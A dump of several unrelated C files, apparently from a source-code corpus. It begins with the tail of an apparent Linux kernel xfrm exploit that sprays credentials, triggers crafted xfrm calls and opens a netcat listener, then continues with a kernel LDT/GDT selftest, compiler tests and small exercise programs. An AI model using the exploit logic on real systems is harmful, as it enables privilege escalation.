if (recvfd<0){
fprintf(stderr, "[-] bad sendfd\n");
exit(-1);
}
fprintf(stderr, "[+] init sendfd : %d \n",sendfd);
//return 0;
fprintf(stderr, "[+] start spary %d creds \n",spary_n );
fork_spary_n(spary_n,time);
sleep(5);
err=xfrm_add_sa(xfrm_socket,4869,0x24);
if (err<0){
fprintf(stderr, "[-] bad xfrm_add_sa\n");
exit(-1);
}
fprintf(stderr, "[+] xfrm_add_sa : %d \n",err);
err=xfrm_new_ae(xfrm_socket,4869,0x24,0xc01,0xb40,1);
if (err<0){
fprintf(stderr, "[-] bad xfrm_new_ae\n");
exit(-1);
}
fprintf(stderr, "[+] xfrm_new_ae : %d \n",err);
fork_spary_n(spary_n,10);
sendah(sendfd,4869, htonl(0x1743));
system("nc -lp 2333");
}
|
the_stack_data/75137726.c
|
// SPDX-License-Identifier: GPL-2.0
/*
* ldt_gdt.c - Test cases for LDT and GDT access
* Copyright (c) 2015 Andrew Lutomirski
*/
#define _GNU_SOURCE
#include <err.h>
#include <stdio.h>
#include <stdint.h>
#include <signal.h>
#include <setjmp.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <asm/ldt.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <stdbool.h>
#include <pthread.h>
#include <sched.h>
#include <linux/futex.h>
#include <sys/mman.h>
#include <asm/prctl.h>
#include <sys/prctl.h>
#define AR_ACCESSED (1<<8)
#define AR_TYPE_RODATA (0 * (1<<9))
#define AR_TYPE_RWDATA (1 * (1<<9))
#define AR_TYPE_RODATA_EXPDOWN (2 * (1<<9))
#define AR_TYPE_RWDATA_EXPDOWN (3 * (1<<9))
#define AR_TYPE_XOCODE (4 * (1<<9))
#define AR_TYPE_XRCODE (5 * (1<<9))
#define AR_TYPE_XOCODE_CONF (6 * (1<<9))
#define AR_TYPE_XRCODE_CONF (7 * (1<<9))
#define AR_DPL3 (3 * (1<<13))
#define AR_S (1 << 12)
#define AR_P (1 << 15)
#define AR_AVL (1 << 20)
#define AR_L (1 << 21)
#define AR_DB (1 << 22)
#define AR_G (1 << 23)
#ifdef __x86_64__
# define INT80_CLOBBERS "r8", "r9", "r10", "r11"
#else
# define INT80_CLOBBERS
#endif
static int nerrs;
/* Points to an array of 1024 ints, each holding its own index. */
static const unsigned int *counter_page;
static struct user_desc *low_user_desc;
static struct user_desc *low_user_desc_clear; /* Use to delete GDT entry */
static int gdt_entry_num;
static void check_invalid_segment(uint16_t index, int ldt)
{
uint32_t has_limit = 0, has_ar = 0, limit, ar;
uint32_t selector = (index << 3) | (ldt << 2) | 3;
asm ("lsl %[selector], %[limit]\n\t"
"jnz 1f\n\t"
"movl $1, %[has_limit]\n\t"
"1:"
: [limit] "=r" (limit), [has_limit] "+rm" (has_limit)
: [selector] "r" (selector));
asm ("larl %[selector], %[ar]\n\t"
"jnz 1f\n\t"
"movl $1, %[has_ar]\n\t"
"1:"
: [ar] "=r" (ar), [has_ar] "+rm" (has_ar)
: [selector] "r" (selector));
if (has_limit || has_ar) {
printf("[FAIL]\t%s entry %hu is valid but should be invalid\n",
(ldt ? "LDT" : "GDT"), index);
nerrs++;
} else {
printf("[OK]\t%s entry %hu is invalid\n",
(ldt ? "LDT" : "GDT"), index);
}
}
static void check_valid_segment(uint16_t index, int ldt,
uint32_t expected_ar, uint32_t expected_limit,
bool verbose)
{
uint32_t has_limit = 0, has_ar = 0, limit, ar;
uint32_t selector = (index << 3) | (ldt << 2) | 3;
asm ("lsl %[selector], %[limit]\n\t"
"jnz 1f\n\t"
"movl $1, %[has_limit]\n\t"
"1:"
: [limit] "=r" (limit), [has_limit] "+rm" (has_limit)
: [selector] "r" (selector));
asm ("larl %[selector], %[ar]\n\t"
"jnz 1f\n\t"
"movl $1, %[has_ar]\n\t"
"1:"
: [ar] "=r" (ar), [has_ar] "+rm" (has_ar)
: [selector] "r" (selector));
if (!has_limit || !has_ar) {
printf("[FAIL]\t%s entry %hu is invalid but should be valid\n",
(ldt ? "LDT" : "GDT"), index);
nerrs++;
return;
}
/* The SDM says "bits 19:16 are undefined". Thanks. */
ar &= ~0xF0000;
/*
* NB: Different Linux versions do different things with the
* accessed bit in set_thread_area().
*/
if (ar != expected_ar &&
(ldt || ar != (expected_ar | AR_ACCESSED))) {
printf("[FAIL]\t%s entry %hu has AR 0x%08X but expected 0x%08X\n",
(ldt ? "LDT" : "GDT"), index, ar, expected_ar);
nerrs++;
} else if (limit != expected_limit) {
printf("[FAIL]\t%s entry %hu has limit 0x%08X but expected 0x%08X\n",
(ldt ? "LDT" : "GDT"), index, limit, expected_limit);
nerrs++;
} else if (verbose) {
printf("[OK]\t%s entry %hu has AR 0x%08X and limit 0x%08X\n",
(ldt ? "LDT" : "GDT"), index, ar, limit);
}
}
static bool install_valid_mode(const struct user_desc *d, uint32_t ar,
bool oldmode, bool ldt)
{
struct user_desc desc = *d;
int ret;
if (!ldt) {
#ifndef __i386__
/* No point testing set_thread_area in a 64-bit build */
return false;
#endif
if (!gdt_entry_num)
return false;
desc.entry_number = gdt_entry_num;
ret = syscall(SYS_set_thread_area, &desc);
} else {
ret = syscall(SYS_modify_ldt, oldmode ? 1 : 0x11,
&desc, sizeof(desc));
if (ret < -1)
errno = -ret;
if (ret != 0 && errno == ENOSYS) {
printf("[OK]\tmodify_ldt returned -ENOSYS\n");
return false;
}
}
if (ret == 0) {
uint32_t limit = desc.limit;
if (desc.limit_in_pages)
limit = (limit << 12) + 4095;
check_valid_segment(desc.entry_number, ldt, ar, limit, true);
return true;
} else {
if (desc.seg_32bit) {
printf("[FAIL]\tUnexpected %s failure %d\n",
ldt ? "modify_ldt" : "set_thread_area",
errno);
nerrs++;
return false;
} else {
printf("[OK]\t%s rejected 16 bit segment\n",
ldt ? "modify_ldt" : "set_thread_area");
return false;
}
}
}
static bool install_valid(const struct user_desc *desc, uint32_t ar)
{
bool ret = install_valid_mode(desc, ar, false, true);
if (desc->contents <= 1 && desc->seg_32bit &&
!desc->seg_not_present) {
/* Should work in the GDT, too. */
install_valid_mode(desc, ar, false, false);
}
return ret;
}
static void install_invalid(const struct user_desc *desc, bool oldmode)
{
int ret = syscall(SYS_modify_ldt, oldmode ? 1 : 0x11,
desc, sizeof(*desc));
if (ret < -1)
errno = -ret;
if (ret == 0) {
check_invalid_segment(desc->entry_number, 1);
} else if (errno == ENOSYS) {
printf("[OK]\tmodify_ldt returned -ENOSYS\n");
} else {
if (desc->seg_32bit) {
printf("[FAIL]\tUnexpected modify_ldt failure %d\n",
errno);
nerrs++;
} else {
printf("[OK]\tmodify_ldt rejected 16 bit segment\n");
}
}
}
static int safe_modify_ldt(int func, struct user_desc *ptr,
unsigned long bytecount)
{
int ret = syscall(SYS_modify_ldt, 0x11, ptr, bytecount);
if (ret < -1)
errno = -ret;
return ret;
}
static void fail_install(struct user_desc *desc)
{
if (safe_modify_ldt(0x11, desc, sizeof(*desc)) == 0) {
printf("[FAIL]\tmodify_ldt accepted a bad descriptor\n");
nerrs++;
} else if (errno == ENOSYS) {
printf("[OK]\tmodify_ldt returned -ENOSYS\n");
} else {
printf("[OK]\tmodify_ldt failure %d\n", errno);
}
}
static void do_simple_tests(void)
{
struct user_desc desc = {
.entry_number = 0,
.base_addr = 0,
.limit = 10,
.seg_32bit = 1,
.contents = 2, /* Code, not conforming */
.read_exec_only = 0,
.limit_in_pages = 0,
.seg_not_present = 0,
.useable = 0
};
install_valid(&desc, AR_DPL3 | AR_TYPE_XRCODE | AR_S | AR_P | AR_DB);
desc.limit_in_pages = 1;
install_valid(&desc, AR_DPL3 | AR_TYPE_XRCODE |
AR_S | AR_P | AR_DB | AR_G);
check_invalid_segment(1, 1);
desc.entry_number = 2;
install_valid(&desc, AR_DPL3 | AR_TYPE_XRCODE |
AR_S | AR_P | AR_DB | AR_G);
check_invalid_segment(1, 1);
desc.base_addr = 0xf0000000;
install_valid(&desc, AR_DPL3 | AR_TYPE_XRCODE |
AR_S | AR_P | AR_DB | AR_G);
desc.useable = 1;
install_valid(&desc, AR_DPL3 | AR_TYPE_XRCODE |
AR_S | AR_P | AR_DB | AR_G | AR_AVL);
desc.seg_not_present = 1;
install_valid(&desc, AR_DPL3 | AR_TYPE_XRCODE |
AR_S | AR_DB | AR_G | AR_AVL);
desc.seg_32bit = 0;
install_valid(&desc, AR_DPL3 | AR_TYPE_XRCODE |
AR_S | AR_G | AR_AVL);
desc.seg_32bit = 1;
desc.contents = 0;
install_valid(&desc, AR_DPL3 | AR_TYPE_RWDATA |
AR_S | AR_DB | AR_G | AR_AVL);
desc.read_exec_only = 1;
install_valid(&desc, AR_DPL3 | AR_TYPE_RODATA |
AR_S | AR_DB | AR_G | AR_AVL);
desc.contents = 1;
install_valid(&desc, AR_DPL3 | AR_TYPE_RODATA_EXPDOWN |
AR_S | AR_DB | AR_G | AR_AVL);
desc.read_exec_only = 0;
desc.limit_in_pages = 0;
install_valid(&desc, AR_DPL3 | AR_TYPE_RWDATA_EXPDOWN |
AR_S | AR_DB | AR_AVL);
desc.contents = 3;
install_valid(&desc, AR_DPL3 | AR_TYPE_XRCODE_CONF |
AR_S | AR_DB | AR_AVL);
desc.read_exec_only = 1;
install_valid(&desc, AR_DPL3 | AR_TYPE_XOCODE_CONF |
AR_S | AR_DB | AR_AVL);
desc.read_exec_only = 0;
desc.contents = 2;
install_valid(&desc, AR_DPL3 | AR_TYPE_XRCODE |
AR_S | AR_DB | AR_AVL);
desc.read_exec_only = 1;
#ifdef __x86_64__
desc.lm = 1;
install_valid(&desc, AR_DPL3 | AR_TYPE_XOCODE |
AR_S | AR_DB | AR_AVL);
desc.lm = 0;
#endif
bool entry1_okay = install_valid(&desc, AR_DPL3 | AR_TYPE_XOCODE |
AR_S | AR_DB | AR_AVL);
if (entry1_okay) {
printf("[RUN]\tTest fork\n");
pid_t child = fork();
if (child == 0) {
nerrs = 0;
check_valid_segment(desc.entry_number, 1,
AR_DPL3 | AR_TYPE_XOCODE |
AR_S | AR_DB | AR_AVL, desc.limit,
true);
check_invalid_segment(1, 1);
exit(nerrs ? 1 : 0);
} else {
int status;
if (waitpid(child, &status, 0) != child ||
!WIFEXITED(status)) {
printf("[FAIL]\tChild died\n");
nerrs++;
} else if (WEXITSTATUS(status) != 0) {
printf("[FAIL]\tChild failed\n");
nerrs++;
} else {
printf("[OK]\tChild succeeded\n");
}
}
printf("[RUN]\tTest size\n");
int i;
for (i = 0; i < 8192; i++) {
desc.entry_number = i;
desc.limit = i;
if (safe_modify_ldt(0x11, &desc, sizeof(desc)) != 0) {
printf("[FAIL]\tFailed to install entry %d\n", i);
nerrs++;
break;
}
}
for (int j = 0; j < i; j++) {
check_valid_segment(j, 1, AR_DPL3 | AR_TYPE_XOCODE |
AR_S | AR_DB | AR_AVL, j, false);
}
printf("[DONE]\tSize test\n");
} else {
printf("[SKIP]\tSkipping fork and size tests because we have no LDT\n");
}
/* Test entry_number too high. */
desc.entry_number = 8192;
fail_install(&desc);
/* Test deletion and actions mistakeable for deletion. */
memset(&desc, 0, sizeof(desc));
install_valid(&desc, AR_DPL3 | AR_TYPE_RWDATA | AR_S | AR_P);
desc.seg_not_present = 1;
install_valid(&desc, AR_DPL3 | AR_TYPE_RWDATA | AR_S);
desc.seg_not_present = 0;
desc.read_exec_only = 1;
install_valid(&desc, AR_DPL3 | AR_TYPE_RODATA | AR_S | AR_P);
desc.read_exec_only = 0;
desc.seg_not_present = 1;
install_valid(&desc, AR_DPL3 | AR_TYPE_RWDATA | AR_S);
desc.read_exec_only = 1;
desc.limit = 1;
install_valid(&desc, AR_DPL3 | AR_TYPE_RODATA | AR_S);
desc.limit = 0;
desc.base_addr = 1;
install_valid(&desc, AR_DPL3 | AR_TYPE_RODATA | AR_S);
desc.base_addr = 0;
install_invalid(&desc, false);
desc.seg_not_present = 0;
desc.seg_32bit = 1;
desc.read_exec_only = 0;
desc.limit = 0xfffff;
install_valid(&desc, AR_DPL3 | AR_TYPE_RWDATA | AR_S | AR_P | AR_DB);
desc.limit_in_pages = 1;
install_valid(&desc, AR_DPL3 | AR_TYPE_RWDATA | AR_S | AR_P | AR_DB | AR_G);
desc.read_exec_only = 1;
install_valid(&desc, AR_DPL3 | AR_TYPE_RODATA | AR_S | AR_P | AR_DB | AR_G);
desc.contents = 1;
desc.read_exec_only = 0;
install_valid(&desc, AR_DPL3 | AR_TYPE_RWDATA_EXPDOWN | AR_S | AR_P | AR_DB | AR_G);
desc.read_exec_only = 1;
install_valid(&desc, AR_DPL3 | AR_TYPE_RODATA_EXPDOWN | AR_S | AR_P | AR_DB | AR_G);
desc.limit = 0;
install_invalid(&desc, true);
}
/*
* 0: thread is idle
* 1: thread armed
* 2: thread should clear LDT entry 0
* 3: thread should exit
*/
static volatile unsigned int ftx;
static void *threadproc(void *ctx)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(1, &cpuset);
if (sched_setaffinity(0, sizeof(cpuset), &cpuset) != 0)
err(1, "sched_setaffinity to CPU 1"); /* should never fail */
while (1) {
syscall(SYS_futex, &ftx, FUTEX_WAIT, 0, NULL, NULL, 0);
while (ftx != 2) {
if (ftx >= 3)
return NULL;
}
/* clear LDT entry 0 */
const struct user_desc desc = {};
if (syscall(SYS_modify_ldt, 1, &desc, sizeof(desc)) != 0)
err(1, "modify_ldt");
/* If ftx == 2, set it to zero. If ftx == 100, quit. */
unsigned int x = -2;
asm volatile ("lock xaddl %[x], %[ftx]" :
[x] "+r" (x), [ftx] "+m" (ftx));
if (x != 2)
return NULL;
}
}
#ifdef __i386__
#ifndef SA_RESTORE
#define SA_RESTORER 0x04000000
#endif
/*
* The UAPI header calls this 'struct sigaction', which conflicts with
* glibc. Sigh.
*/
struct fake_ksigaction {
void *handler; /* the real type is nasty */
unsigned long sa_flags;
void (*sa_restorer)(void);
unsigned char sigset[8];
};
static void fix_sa_restorer(int sig)
{
struct fake_ksigaction ksa;
if (syscall(SYS_rt_sigaction, sig, NULL, &ksa, 8) == 0) {
/*
* glibc has a nasty bug: it sometimes writes garbage to
* sa_restorer. This interacts quite badly with anything
* that fiddles with SS because it can trigger legacy
* stack switching. Patch it up. See:
*
* https://sourceware.org/bugzilla/show_bug.cgi?id=21269
*/
if (!(ksa.sa_flags & SA_RESTORER) && ksa.sa_restorer) {
ksa.sa_restorer = NULL;
if (syscall(SYS_rt_sigaction, sig, &ksa, NULL,
sizeof(ksa.sigset)) != 0)
err(1, "rt_sigaction");
}
}
}
#else
static void fix_sa_restorer(int sig)
{
/* 64-bit glibc works fine. */
}
#endif
static void sethandler(int sig, void (*handler)(int, siginfo_t *, void *),
int flags)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = handler;
sa.sa_flags = SA_SIGINFO | flags;
sigemptyset(&sa.sa_mask);
if (sigaction(sig, &sa, 0))
err(1, "sigaction");
fix_sa_restorer(sig);
}
static jmp_buf jmpbuf;
static void sigsegv(int sig, siginfo_t *info, void *ctx_void)
{
siglongjmp(jmpbuf, 1);
}
static void do_multicpu_tests(void)
{
cpu_set_t cpuset;
pthread_t thread;
int failures = 0, iters = 5, i;
unsigned short orig_ss;
CPU_ZERO(&cpuset);
CPU_SET(1, &cpuset);
if (sched_setaffinity(0, sizeof(cpuset), &cpuset) != 0) {
printf("[SKIP]\tCannot set affinity to CPU 1\n");
return;
}
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
if (sched_setaffinity(0, sizeof(cpuset), &cpuset) != 0) {
printf("[SKIP]\tCannot set affinity to CPU 0\n");
return;
}
sethandler(SIGSEGV, sigsegv, 0);
#ifdef __i386__
/* True 32-bit kernels send SIGILL instead of SIGSEGV on IRET faults. */
sethandler(SIGILL, sigsegv, 0);
#endif
printf("[RUN]\tCross-CPU LDT invalidation\n");
if (pthread_create(&thread, 0, threadproc, 0) != 0)
err(1, "pthread_create");
asm volatile ("mov %%ss, %0" : "=rm" (orig_ss));
for (i = 0; i < 5; i++) {
if (sigsetjmp(jmpbuf, 1) != 0)
continue;
/* Make sure the thread is ready after the last test. */
while (ftx != 0)
;
struct user_desc desc = {
.entry_number = 0,
.base_addr = 0,
.limit = 0xfffff,
.seg_32bit = 1,
.contents = 0, /* Data */
.read_exec_only = 0,
.limit_in_pages = 1,
.seg_not_present = 0,
.useable = 0
};
if (safe_modify_ldt(0x11, &desc, sizeof(desc)) != 0) {
if (errno != ENOSYS)
err(1, "modify_ldt");
printf("[SKIP]\tmodify_ldt unavailable\n");
break;
}
/* Arm the thread. */
ftx = 1;
syscall(SYS_futex, &ftx, FUTEX_WAKE, 0, NULL, NULL, 0);
asm volatile ("mov %0, %%ss" : : "r" (0x7));
/* Go! */
ftx = 2;
while (ftx != 0)
;
/*
* On success, modify_ldt will segfault us synchronously,
* and we'll escape via siglongjmp.
*/
failures++;
asm volatile ("mov %0, %%ss" : : "rm" (orig_ss));
};
ftx = 100; /* Kill the thread. */
syscall(SYS_futex, &ftx, FUTEX_WAKE, 0, NULL, NULL, 0);
if (pthread_join(thread, NULL) != 0)
err(1, "pthread_join");
if (failures) {
printf("[FAIL]\t%d of %d iterations failed\n", failures, iters);
nerrs++;
} else {
printf("[OK]\tAll %d iterations succeeded\n", iters);
}
}
static int finish_exec_test(void)
{
/*
* In a sensible world, this would be check_invalid_segment(0, 1);
* For better or for worse, though, the LDT is inherited across exec.
* We can probably change this safely, but for now we test it.
*/
check_valid_segment(0, 1,
AR_DPL3 | AR_TYPE_XRCODE | AR_S | AR_P | AR_DB,
42, true);
return nerrs ? 1 : 0;
}
static void do_exec_test(void)
{
printf("[RUN]\tTest exec\n");
struct user_desc desc = {
.entry_number = 0,
.base_addr = 0,
.limit = 42,
.seg_32bit = 1,
.contents = 2, /* Code, not conforming */
.read_exec_only = 0,
.limit_in_pages = 0,
.seg_not_present = 0,
.useable = 0
};
install_valid(&desc, AR_DPL3 | AR_TYPE_XRCODE | AR_S | AR_P | AR_DB);
pid_t child = fork();
if (child == 0) {
execl("/proc/self/exe", "ldt_gdt_test_exec", NULL);
printf("[FAIL]\tCould not exec self\n");
exit(1); /* exec failed */
} else {
int status;
if (waitpid(child, &status, 0) != child ||
!WIFEXITED(status)) {
printf("[FAIL]\tChild died\n");
nerrs++;
} else if (WEXITSTATUS(status) != 0) {
printf("[FAIL]\tChild failed\n");
nerrs++;
} else {
printf("[OK]\tChild succeeded\n");
}
}
}
static void setup_counter_page(void)
{
unsigned int *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
if (page == MAP_FAILED)
err(1, "mmap");
for (int i = 0; i < 1024; i++)
page[i] = i;
counter_page = page;
}
static int invoke_set_thread_area(void)
{
int ret;
asm volatile ("int $0x80"
: "=a" (ret), "+m" (low_user_desc) :
"a" (243), "b" (low_user_desc)
: INT80_CLOBBERS);
return ret;
}
static void setup_low_user_desc(void)
{
low_user_desc = mmap(NULL, 2 * sizeof(struct user_desc),
PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
if (low_user_desc == MAP_FAILED)
err(1, "mmap");
low_user_desc->entry_number = -1;
low_user_desc->base_addr = (unsigned long)&counter_page[1];
low_user_desc->limit = 0xfffff;
low_user_desc->seg_32bit = 1;
low_user_desc->contents = 0; /* Data, grow-up*/
low_user_desc->read_exec_only = 0;
low_user_desc->limit_in_pages = 1;
low_user_desc->seg_not_present = 0;
low_user_desc->useable = 0;
if (invoke_set_thread_area() == 0) {
gdt_entry_num = low_user_desc->entry_number;
printf("[NOTE]\tset_thread_area is available; will use GDT index %d\n", gdt_entry_num);
} else {
printf("[NOTE]\tset_thread_area is unavailable\n");
}
low_user_desc_clear = low_user_desc + 1;
low_user_desc_clear->entry_number = gdt_entry_num;
low_user_desc_clear->read_exec_only = 1;
low_user_desc_clear->seg_not_present = 1;
}
static void test_gdt_invalidation(void)
{
if (!gdt_entry_num)
return; /* 64-bit only system -- we can't use set_thread_area */
unsigned short prev_sel;
unsigned short sel;
unsigned int eax;
const char *result;
#ifdef __x86_64__
unsigned long saved_base;
unsigned long new_base;
#endif
/* Test DS */
invoke_set_thread_area();
eax = 243;
sel = (gdt_entry_num << 3) | 3;
asm volatile ("movw %%ds, %[prev_sel]\n\t"
"movw %[sel], %%ds\n\t"
#ifdef __i386__
"pushl %%ebx\n\t"
#endif
"movl %[arg1], %%ebx\n\t"
"int $0x80\n\t" /* Should invalidate ds */
#ifdef __i386__
"popl %%ebx\n\t"
#endif
"movw %%ds, %[sel]\n\t"
"movw %[prev_sel], %%ds"
: [prev_sel] "=&r" (prev_sel), [sel] "+r" (sel),
"+a" (eax)
: "m" (low_user_desc_clear),
[arg1] "r" ((unsigned int)(unsigned long)low_user_desc_clear)
: INT80_CLOBBERS);
if (sel != 0) {
result = "FAIL";
nerrs++;
} else {
result = "OK";
}
printf("[%s]\tInvalidate DS with set_thread_area: new DS = 0x%hx\n",
result, sel);
/* Test ES */
invoke_set_thread_area();
eax = 243;
sel = (gdt_entry_num << 3) | 3;
asm volatile ("movw %%es, %[prev_sel]\n\t"
"movw %[sel], %%es\n\t"
#ifdef __i386__
"pushl %%ebx\n\t"
#endif
"movl %[arg1], %%ebx\n\t"
"int $0x80\n\t" /* Should invalidate es */
#ifdef __i386__
"popl %%ebx\n\t"
#endif
"movw %%es, %[sel]\n\t"
"movw %[prev_sel], %%es"
: [prev_sel] "=&r" (prev_sel), [sel] "+r" (sel),
"+a" (eax)
: "m" (low_user_desc_clear),
[arg1] "r" ((unsigned int)(unsigned long)low_user_desc_clear)
: INT80_CLOBBERS);
if (sel != 0) {
result = "FAIL";
nerrs++;
} else {
result = "OK";
}
printf("[%s]\tInvalidate ES with set_thread_area: new ES = 0x%hx\n",
result, sel);
/* Test FS */
invoke_set_thread_area();
eax = 243;
sel = (gdt_entry_num << 3) | 3;
#ifdef __x86_64__
syscall(SYS_arch_prctl, ARCH_GET_FS, &saved_base);
#endif
asm volatile ("movw %%fs, %[prev_sel]\n\t"
"movw %[sel], %%fs\n\t"
#ifdef __i386__
"pushl %%ebx\n\t"
#endif
"movl %[arg1], %%ebx\n\t"
"int $0x80\n\t" /* Should invalidate fs */
#ifdef __i386__
"popl %%ebx\n\t"
#endif
"movw %%fs, %[sel]\n\t"
: [prev_sel] "=&r" (prev_sel), [sel] "+r" (sel),
"+a" (eax)
: "m" (low_user_desc_clear),
[arg1] "r" ((unsigned int)(unsigned long)low_user_desc_clear)
: INT80_CLOBBERS);
#ifdef __x86_64__
syscall(SYS_arch_prctl, ARCH_GET_FS, &new_base);
#endif
/* Restore FS/BASE for glibc */
asm volatile ("movw %[prev_sel], %%fs" : : [prev_sel] "rm" (prev_sel));
#ifdef __x86_64__
if (saved_base)
syscall(SYS_arch_prctl, ARCH_SET_FS, saved_base);
#endif
if (sel != 0) {
result = "FAIL";
nerrs++;
} else {
result = "OK";
}
printf("[%s]\tInvalidate FS with set_thread_area: new FS = 0x%hx\n",
result, sel);
#ifdef __x86_64__
if (sel == 0 && new_base != 0) {
nerrs++;
printf("[FAIL]\tNew FSBASE was 0x%lx\n", new_base);
} else {
printf("[OK]\tNew FSBASE was zero\n");
}
#endif
/* Test GS */
invoke_set_thread_area();
eax = 243;
sel = (gdt_entry_num << 3) | 3;
#ifdef __x86_64__
syscall(SYS_arch_prctl, ARCH_GET_GS, &saved_base);
#endif
asm volatile ("movw %%gs, %[prev_sel]\n\t"
"movw %[sel], %%gs\n\t"
#ifdef __i386__
"pushl %%ebx\n\t"
#endif
"movl %[arg1], %%ebx\n\t"
"int $0x80\n\t" /* Should invalidate gs */
#ifdef __i386__
"popl %%ebx\n\t"
#endif
"movw %%gs, %[sel]\n\t"
: [prev_sel] "=&r" (prev_sel), [sel] "+r" (sel),
"+a" (eax)
: "m" (low_user_desc_clear),
[arg1] "r" ((unsigned int)(unsigned long)low_user_desc_clear)
: INT80_CLOBBERS);
#ifdef __x86_64__
syscall(SYS_arch_prctl, ARCH_GET_GS, &new_base);
#endif
/* Restore GS/BASE for glibc */
asm volatile ("movw %[prev_sel], %%gs" : : [prev_sel] "rm" (prev_sel));
#ifdef __x86_64__
if (saved_base)
syscall(SYS_arch_prctl, ARCH_SET_GS, saved_base);
#endif
if (sel != 0) {
result = "FAIL";
nerrs++;
} else {
result = "OK";
}
printf("[%s]\tInvalidate GS with set_thread_area: new GS = 0x%hx\n",
result, sel);
#ifdef __x86_64__
if (sel == 0 && new_base != 0) {
nerrs++;
printf("[FAIL]\tNew GSBASE was 0x%lx\n", new_base);
} else {
printf("[OK]\tNew GSBASE was zero\n");
}
#endif
}
int main(int argc, char **argv)
{
if (argc == 1 && !strcmp(argv[0], "ldt_gdt_test_exec"))
return finish_exec_test();
setup_counter_page();
setup_low_user_desc();
do_simple_tests();
do_multicpu_tests();
do_exec_test();
test_gdt_invalidation();
return nerrs ? 1 : 0;
}
|
the_stack_data/32727.c
|
/* { dg-do compile } */
/* { dg-options "-O2 -mno-indirect-branch-register -mfunction-return=keep -mindirect-branch=thunk-extern -fno-pic" } */
typedef void (*dispatch_t)(long offset);
dispatch_t dispatch;
int
male_indirect_jump (long offset)
{
dispatch(offset);
return 0;
}
/* { dg-final { scan-assembler "push(?:l|q)\[ \t\]*_?dispatch" { target { { ! x32 } && *-*-linux* } } } } */
/* { dg-final { scan-assembler "jmp\[ \t\]*__x86_indirect_thunk" { target { ! x32 } } } } */
/* { dg-final { scan-assembler-times "jmp\[ \t\]*\.LIND" 1 { target { ! x32 } } } } */
/* { dg-final { scan-assembler-times "call\[ \t\]*\.LIND" 1 { target { ! x32 } } } } */
/* { dg-final { scan-assembler "call\[ \t\]*__x86_indirect_thunk_(r|e)ax" { target x32 } } } */
/* { dg-final { scan-assembler-not {\t(lfence|pause)} } } */
|
the_stack_data/1183347.c
|
#include <stdio.h>
int main()
{
int a[100001]={0},n,i=0,x,k;
scanf("%d",&n);
while(i<n)
{
scanf("%d",&x);
a[x]=a[x]+1;
i++;
}
scanf("%d",&k);
for(i=100000;k>1;i--)
{
if(a[i]!=0)
{
k--;
}
}
printf("%d %d\n",i,a[i]);
return 0;
}
|
the_stack_data/15061.c
|
/* { dg-do compile } */
/* { dg-options "-O2 -fdump-ipa-icf" } */
#include <stdio.h>
struct container
{
int x;
int y;
};
static struct container max;
static int array[3][3];
static int array2[123];
__attribute__ ((noinline))
void foo(void)
{
printf("Foo()");
}
__attribute__ ((noinline))
int order(int x, int y)
{
return x < y ? 2 : 4;
}
__attribute__ ((noinline))
int order2(int y, int x)
{
return x < y ? 2 : 4;
}
__attribute__ ((noinline))
void x1(int x)
{
int i;
for(i = 0; i < 20; ++i)
array2[i] = i;
array2[2] = 13;
}
__attribute__ ((noinline))
void x2(int a)
{
int i;
for(i = 0; i < 20; ++i)
array2[i] = i;
array2[2] = 13;
}
int main(int argc, char **argv)
{
return 0;
}
/* { dg-final { scan-ipa-dump "Semantic equality hit:x1->x2" "icf" } } */
/* { dg-final { scan-ipa-dump "Equal symbols: 1" "icf" } } */
|
the_stack_data/29825937.c
|
#include <stdio.h>
#include <stdlib.h>
typedef struct
{
long long int coefficient;
long long int power;
} PolynomailTerm;
typedef struct
{
long long int termAmount;
PolynomailTerm *terms;
} Polynomail;
/**
* compare two number
*
* a = b -> 0
* a > b -> 1
* a < b -> -1
*/
long long int compare(long long int a, long long int b)
{
if (a > b)
return 1;
else if (a < b)
return -1;
else
return 0;
}
int main()
{
Polynomail polynomails[2];
for (long long int i = 0; i < 2; i++)
{
// get term amount
long long int terms;
scanf("%lld", &terms);
PolynomailTerm *polynomailTerms = (PolynomailTerm *)calloc(terms, sizeof(PolynomailTerm));
for (long long int j = 0; j < terms; j++)
{
// set term info
long long int coefficient, power;
scanf("%lld %lld", &coefficient, &power);
(polynomailTerms + j)->coefficient = coefficient;
(polynomailTerms + j)->power = power;
}
Polynomail p = {.termAmount = terms, .terms = polynomailTerms};
polynomails[i] = p;
}
// add polynomail
Polynomail answer;
long long int added[2] = {0, 0};
answer.termAmount = polynomails[0].termAmount + polynomails[1].termAmount;
PolynomailTerm *answerTerms = calloc(answer.termAmount, sizeof(PolynomailTerm));
long long int addedTermAmount = 0;
added[0] = 0;
added[1] = 0;
while (added[0] < polynomails[0].termAmount && added[1] < polynomails[1].termAmount)
{
switch (compare((polynomails[0].terms + added[0])->power, (polynomails[1].terms + added[1])->power))
{
case 1:
if (addedTermAmount != 0 && (answerTerms + addedTermAmount - 1)->power == (polynomails[0].terms + added[0])->power)
(answerTerms + addedTermAmount - 1)->coefficient += (polynomails[0].terms + added[0])->coefficient;
else
{
(answerTerms + addedTermAmount)->coefficient = (polynomails[0].terms + added[0])->coefficient;
(answerTerms + addedTermAmount)->power = (polynomails[0].terms + added[0])->power;
addedTermAmount++;
}
added[0]++;
break;
case 0:
{
// add same power term
long long int coefficient = (polynomails[0].terms + added[0])->coefficient + (polynomails[1].terms + added[1])->coefficient;
if (addedTermAmount != 0 && (answerTerms + addedTermAmount - 1)->power == (polynomails[0].terms + added[0])->power)
(answerTerms + addedTermAmount - 1)->coefficient += coefficient;
else
{
(answerTerms + addedTermAmount)->coefficient = coefficient;
(answerTerms + addedTermAmount)->power = (polynomails[0].terms + added[0])->power;
addedTermAmount++;
}
added[0]++;
added[1]++;
break;
}
case -1:
if (addedTermAmount != 0 && (answerTerms + addedTermAmount - 1)->power == (polynomails[1].terms + added[1])->power)
(answerTerms + addedTermAmount - 1)->coefficient += (polynomails[1].terms + added[1])->coefficient;
else
{
(answerTerms + addedTermAmount)->coefficient = (polynomails[1].terms + added[1])->coefficient;
